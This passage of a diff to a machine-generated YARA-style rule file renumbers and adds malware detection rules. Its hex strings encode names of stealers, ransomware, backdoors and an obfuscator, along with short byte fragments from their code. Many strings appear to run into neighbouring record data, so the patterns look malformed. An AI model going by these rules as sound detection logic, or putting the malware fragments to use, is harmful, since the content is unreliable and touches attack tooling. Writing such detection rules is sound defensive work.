00 00 05 00 05 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 } //18467 - $a_74_1 = {63 6b 6e 53 65 6e 64 43 53 2e 67 65 6e 21 64 68 61 00 05 00 10 01 64 25 f0 7d 1e c3 68 4a a6 88 72 d0 ec 84 07 46 00 00 78 44 00 00 0a 00 0a 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 6e 6a 52 41 54 2e 4e 45 21 4d 54 42 00 0a 00 } //12082 - $a_93_2 = {d1 9d 1f 0c 13 09 38 90 01 01 ff ff ff 17 11 08 58 13 08 1a 90 00 00 00 78 44 00 00 0a 00 0a 00 01 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4b 61 7a 75 61 72 2e 43 21 64 68 61 00 0a 00 15 01 66 41 c7 04 24 31 c0 ba 03 00 00 00 4c 89 e1 41 c6 44 24 02 } //793 + $a_75_1 = {6d 61 43 2e 45 41 4e 42 21 4d 54 42 00 05 00 15 01 01 db 29 de 33 b4 01 f8 0f 00 00 89 b4 01 84 13 00 00 83 c0 04 00 00 78 44 00 00 05 00 05 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 74 61 63 6b 6e 53 } //12082 + $a_43_2 = {2e 67 65 6e 21 64 68 61 00 05 00 10 01 64 25 f0 7d 1e c3 68 4a a6 88 72 d0 ec 84 07 46 00 00 78 44 00 00 0a 00 0a 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 6e 6a 52 41 54 2e 4e 45 21 4d 54 42 00 0a 00 19 03 5d 93 61 d1 9d 1f 0c 13 09 38 90 01 01 ff ff ff 17 11 08 58 13 08 1a 90 } //28261 condition: - ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*12082+(#a_93_2 & 1)*793) >=3 + ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*12082+(#a_43_2 & 1)*28261) >=3 } -rule _InfrastructureShared_2743{ +rule _InfrastructureShared_2780{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 43 2e 45 41 4e 42 21 4d 54 42 00 05 00 15 01 01 db 29 de 33 b4 01 f8 0f 00 00 89 b4 01 84 13 00 00 83 c0 04 00 00 78 44 00 00 05 00 05 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a } //16675 + condition: + ((#a_46_0 & 1)*16675) >=5 + +} +rule _InfrastructureShared_2781{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -28401,7 +28808,7 @@ rule _InfrastructureShared_2743{ ((#a_46_0 & 1)*16675) >=5 } -rule _InfrastructureShared_2744{ +rule _InfrastructureShared_2782{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -28411,7 +28818,7 @@ rule _InfrastructureShared_2744{ ((#a_46_0 & 1)*16675) >=10 } -rule _InfrastructureShared_2745{ +rule _InfrastructureShared_2783{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -28421,17 +28828,27 @@ rule _InfrastructureShared_2745{ ((#a_46_0 & 1)*16675) >=10 } -rule _InfrastructureShared_2746{ +rule _InfrastructureShared_2784{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " strings : - $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 56 42 2e 67 65 6e 21 76 69 72 75 73 00 0a 00 17 02 76 00 69 00 72 00 75 00 73 00 90 02 40 2e 00 76 00 62 00 70 00 90 00 00 00 78 44 00 00 0a 00 0a 00 01 00 21 23 54 45 4c 50 45 52 3a 42 61 63 6b 64 6f 6f 72 } //18467 + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 56 42 2e 67 65 6e 21 76 69 72 75 73 00 0a 00 17 02 76 00 69 00 72 00 75 00 73 00 90 02 40 2e 00 76 00 62 00 70 00 90 00 00 00 78 44 00 00 0a 00 0a 00 01 00 21 23 52 61 6e 73 6f 6d 3a 57 69 6e 36 34 2f 4b 61 } //18467 condition: ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_2747{ +rule _InfrastructureShared_2785{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " + + strings : + $a_6e_0 = {6f 6d 3a 57 69 6e 36 34 2f 4b 61 76 76 61 2e 59 41 42 21 4d 54 42 00 0a 00 1b 01 21 21 52 65 73 74 6f 72 65 2d 4d 79 2d 66 69 6c 65 2d 4b 61 76 76 61 2e 74 78 74 00 00 78 44 00 00 0a 00 0a 00 01 00 21 23 54 45 4c 50 45 52 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 52 65 6d 73 65 63 2e } //21027 + condition: + ((#a_6e_0 & 1)*21027) >=10 + +} +rule _InfrastructureShared_2786{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -28441,7 +28858,7 @@ rule _InfrastructureShared_2747{ ((#a_4c_0 & 1)*21539) >=10 } -rule _InfrastructureShared_2748{ +rule _InfrastructureShared_2787{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 21 " @@ -28452,7 +28869,7 @@ rule _InfrastructureShared_2748{ ((#a_46_0 & 1)*16675+(#a_54_1 & 1)*25441) >=10 } -rule _InfrastructureShared_2749{ +rule _InfrastructureShared_2788{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -28462,7 +28879,7 @@ rule _InfrastructureShared_2749{ ((#a_46_0 & 1)*16675) >=100 } -rule _InfrastructureShared_2750{ +rule _InfrastructureShared_2789{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28472,7 +28889,7 @@ rule _InfrastructureShared_2750{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2751{ +rule _InfrastructureShared_2790{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28482,7 +28899,7 @@ rule _InfrastructureShared_2751{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2752{ +rule _InfrastructureShared_2791{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28492,7 +28909,7 @@ rule _InfrastructureShared_2752{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2753{ +rule _InfrastructureShared_2792{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28502,7 +28919,7 @@ rule _InfrastructureShared_2753{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2754{ +rule _InfrastructureShared_2793{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28512,7 +28929,7 @@ rule _InfrastructureShared_2754{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2755{ +rule _InfrastructureShared_2794{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28522,7 +28939,7 @@ rule _InfrastructureShared_2755{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2756{ +rule _InfrastructureShared_2795{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28532,7 +28949,7 @@ rule _InfrastructureShared_2756{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2757{ +rule _InfrastructureShared_2796{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28542,7 +28959,7 @@ rule _InfrastructureShared_2757{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2758{ +rule _InfrastructureShared_2797{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28552,7 +28969,7 @@ rule _InfrastructureShared_2758{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2759{ +rule _InfrastructureShared_2798{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28562,7 +28979,7 @@ rule _InfrastructureShared_2759{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2760{ +rule _InfrastructureShared_2799{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28572,7 +28989,7 @@ rule _InfrastructureShared_2760{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2761{ +rule _InfrastructureShared_2800{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28582,7 +28999,7 @@ rule _InfrastructureShared_2761{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2762{ +rule _InfrastructureShared_2801{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28592,7 +29009,7 @@ rule _InfrastructureShared_2762{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2763{ +rule _InfrastructureShared_2802{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28602,7 +29019,7 @@ rule _InfrastructureShared_2763{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2764{ +rule _InfrastructureShared_2803{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28612,7 +29029,7 @@ rule _InfrastructureShared_2764{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2765{ +rule _InfrastructureShared_2804{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28622,7 +29039,7 @@ rule _InfrastructureShared_2765{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2766{ +rule _InfrastructureShared_2805{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28632,7 +29049,7 @@ rule _InfrastructureShared_2766{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2767{ +rule _InfrastructureShared_2806{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28642,7 +29059,7 @@ rule _InfrastructureShared_2767{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2768{ +rule _InfrastructureShared_2807{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28652,7 +29069,7 @@ rule _InfrastructureShared_2768{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2769{ +rule _InfrastructureShared_2808{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28662,7 +29079,7 @@ rule _InfrastructureShared_2769{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2770{ +rule _InfrastructureShared_2809{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28672,7 +29089,7 @@ rule _InfrastructureShared_2770{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2771{ +rule _InfrastructureShared_2810{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28682,7 +29099,7 @@ rule _InfrastructureShared_2771{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2772{ +rule _InfrastructureShared_2811{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28692,7 +29109,7 @@ rule _InfrastructureShared_2772{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2773{ +rule _InfrastructureShared_2812{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28702,7 +29119,7 @@ rule _InfrastructureShared_2773{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2774{ +rule _InfrastructureShared_2813{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28712,7 +29129,7 @@ rule _InfrastructureShared_2774{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2775{ +rule _InfrastructureShared_2814{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28722,7 +29139,7 @@ rule _InfrastructureShared_2775{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2776{ +rule _InfrastructureShared_2815{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28732,7 +29149,7 @@ rule _InfrastructureShared_2776{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2777{ +rule _InfrastructureShared_2816{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28742,7 +29159,7 @@ rule _InfrastructureShared_2777{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2778{ +rule _InfrastructureShared_2817{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28752,7 +29169,7 @@ rule _InfrastructureShared_2778{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2779{ +rule _InfrastructureShared_2818{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28762,7 +29179,7 @@ rule _InfrastructureShared_2779{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2780{ +rule _InfrastructureShared_2819{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28772,7 +29189,7 @@ rule _InfrastructureShared_2780{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2781{ +rule _InfrastructureShared_2820{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28782,7 +29199,7 @@ rule _InfrastructureShared_2781{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2782{ +rule _InfrastructureShared_2821{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28792,7 +29209,7 @@ rule _InfrastructureShared_2782{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2783{ +rule _InfrastructureShared_2822{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28802,7 +29219,7 @@ rule _InfrastructureShared_2783{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2784{ +rule _InfrastructureShared_2823{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28812,7 +29229,7 @@ rule _InfrastructureShared_2784{ ((#a_6b_0 & 1)*17955) >=1 } -rule _InfrastructureShared_2785{ +rule _InfrastructureShared_2824{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28822,7 +29239,7 @@ rule _InfrastructureShared_2785{ ((#a_6b_0 & 1)*17955) >=1 } -rule _InfrastructureShared_2786{ +rule _InfrastructureShared_2825{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28832,7 +29249,7 @@ rule _InfrastructureShared_2786{ ((#a_6b_0 & 1)*17955) >=1 } -rule _InfrastructureShared_2787{ +rule _InfrastructureShared_2826{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28842,7 +29259,7 @@ rule _InfrastructureShared_2787{ ((#a_6b_0 & 1)*17955) >=1 } -rule _InfrastructureShared_2788{ +rule _InfrastructureShared_2827{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28852,7 +29269,7 @@ rule _InfrastructureShared_2788{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2789{ +rule _InfrastructureShared_2828{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28862,7 +29279,7 @@ rule _InfrastructureShared_2789{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2790{ +rule _InfrastructureShared_2829{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28872,7 +29289,7 @@ rule _InfrastructureShared_2790{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2791{ +rule _InfrastructureShared_2830{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28882,7 +29299,7 @@ rule _InfrastructureShared_2791{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2792{ +rule _InfrastructureShared_2831{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28892,7 +29309,7 @@ rule _InfrastructureShared_2792{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2793{ +rule _InfrastructureShared_2832{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28902,7 +29319,7 @@ rule _InfrastructureShared_2793{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2794{ +rule _InfrastructureShared_2833{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28912,7 +29329,7 @@ rule _InfrastructureShared_2794{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2795{ +rule _InfrastructureShared_2834{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28922,7 +29339,7 @@ rule _InfrastructureShared_2795{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2796{ +rule _InfrastructureShared_2835{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28932,7 +29349,7 @@ rule _InfrastructureShared_2796{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2797{ +rule _InfrastructureShared_2836{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28942,7 +29359,7 @@ rule _InfrastructureShared_2797{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2798{ +rule _InfrastructureShared_2837{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28952,7 +29369,7 @@ rule _InfrastructureShared_2798{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2799{ +rule _InfrastructureShared_2838{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28962,7 +29379,7 @@ rule _InfrastructureShared_2799{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2800{ +rule _InfrastructureShared_2839{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28972,7 +29389,7 @@ rule _InfrastructureShared_2800{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2801{ +rule _InfrastructureShared_2840{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28982,7 +29399,7 @@ rule _InfrastructureShared_2801{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2802{ +rule _InfrastructureShared_2841{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28992,7 +29409,7 @@ rule _InfrastructureShared_2802{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2803{ +rule _InfrastructureShared_2842{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -29002,7 +29419,7 @@ rule _InfrastructureShared_2803{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2804{ +rule _InfrastructureShared_2843{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -29012,7 +29429,7 @@ rule _InfrastructureShared_2804{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_2805{ +rule _InfrastructureShared_2844{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -29022,7 +29439,7 @@ rule _InfrastructureShared_2805{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_2806{ +rule _InfrastructureShared_2845{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -29032,7 +29449,7 @@ rule _InfrastructureShared_2806{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_2807{ +rule _InfrastructureShared_2846{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -29042,7 +29459,7 @@ rule _InfrastructureShared_2807{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_2808{ +rule _InfrastructureShared_2847{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -29052,7 +29469,17 @@ rule _InfrastructureShared_2808{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_2809{ +rule _InfrastructureShared_2848{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4a 61 6c 61 70 65 6e 6f 2e 43 41 21 4d 54 42 00 01 00 17 01 13 40 08 11 40 6d 61 0c 08 20 1e f8 0d bd 06 59 07 59 61 0c 08 06 20 00 00 78 45 00 00 01 00 01 00 01 00 21 23 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_2849{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -29062,7 +29489,7 @@ rule _InfrastructureShared_2809{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_2810{ +rule _InfrastructureShared_2850{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -29072,7 +29499,17 @@ rule _InfrastructureShared_2810{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_2811{ +rule _InfrastructureShared_2851{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_6f_0 = {61 6e 3a 4d 53 49 4c 2f 53 74 65 61 6c 65 72 63 2e 41 49 41 4f 21 4d 54 42 00 01 00 19 03 d2 61 d2 81 90 01 01 00 00 01 16 13 10 38 90 01 02 ff ff 11 07 17 59 90 00 00 00 78 45 00 00 01 00 01 00 01 00 21 23 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4f 62 66 75 73 63 61 74 6f 72 2e 57 41 00 01 00 1b 02 85 c0 74 04 cd 90 01 01 eb 90 01 01 8b } //21539 + condition: + ((#a_6f_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_2852{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -29082,7 +29519,7 @@ rule _InfrastructureShared_2811{ ((#a_72_0 & 1)*22051) >=1 } -rule _InfrastructureShared_2812{ +rule _InfrastructureShared_2853{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -29092,7 +29529,7 @@ rule _InfrastructureShared_2812{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_2813{ +rule _InfrastructureShared_2854{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -29102,7 +29539,7 @@ rule _InfrastructureShared_2813{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_2814{ +rule _InfrastructureShared_2855{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -29112,7 +29549,7 @@ rule _InfrastructureShared_2814{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_2815{ +rule _InfrastructureShared_2856{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -29122,7 +29559,7 @@ rule _InfrastructureShared_2815{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_2816{ +rule _InfrastructureShared_2857{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -29133,7 +29570,7 @@ rule _InfrastructureShared_2816{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*24931) >=1 } -rule _InfrastructureShared_2817{ +rule _InfrastructureShared_2858{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -29144,17 +29581,47 @@ rule _InfrastructureShared_2817{ ((#a_5f_0 & 1)*25635+(#a_1c_1 & 1)*0) >=1 } -rule _InfrastructureShared_2818{ +rule _InfrastructureShared_2859{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 48 65 72 61 63 6c 65 73 2e 50 54 46 59 21 4d 54 42 00 02 00 15 01 2b 2b 7d 0b 00 00 04 1c 2c 16 12 00 15 7d 0a 00 00 04 16 2d 0b 00 00 78 45 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f } //16675 + $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 48 65 72 61 63 6c 65 73 2e 50 54 46 59 21 4d 54 42 00 02 00 15 01 2b 2b 7d 0b 00 00 04 1c 2c 16 12 00 15 7d 0a 00 00 04 16 2d 0b 00 00 78 45 00 00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f } //16675 condition: ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_2819{ +rule _InfrastructureShared_2860{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 43 2e 45 4e 45 21 4d 54 42 00 02 00 17 01 d1 ed 31 eb 89 9c 51 c4 09 00 00 89 fe 83 c2 02 40 81 fa e0 04 00 00 00 00 78 45 00 00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f } //16675 + condition: + ((#a_46_0 & 1)*16675) >=2 + +} +rule _InfrastructureShared_2861{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 43 2e 45 59 58 21 4d 54 42 00 02 00 17 02 31 c1 89 4c 24 28 8b 4c 24 28 80 c1 9c 88 8c 04 90 01 04 40 3d 90 00 00 00 78 45 00 00 02 00 02 00 01 00 21 23 54 45 4c 3a 54 72 6f } //16675 + condition: + ((#a_46_0 & 1)*16675) >=2 + +} +rule _InfrastructureShared_2862{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 5a 69 6c 6c 61 2e 45 56 41 21 4d 54 42 00 02 00 19 01 06 11 09 06 11 09 91 07 11 09 91 61 9c 11 09 17 d6 13 09 11 09 11 0b 31 e7 00 00 78 45 00 00 02 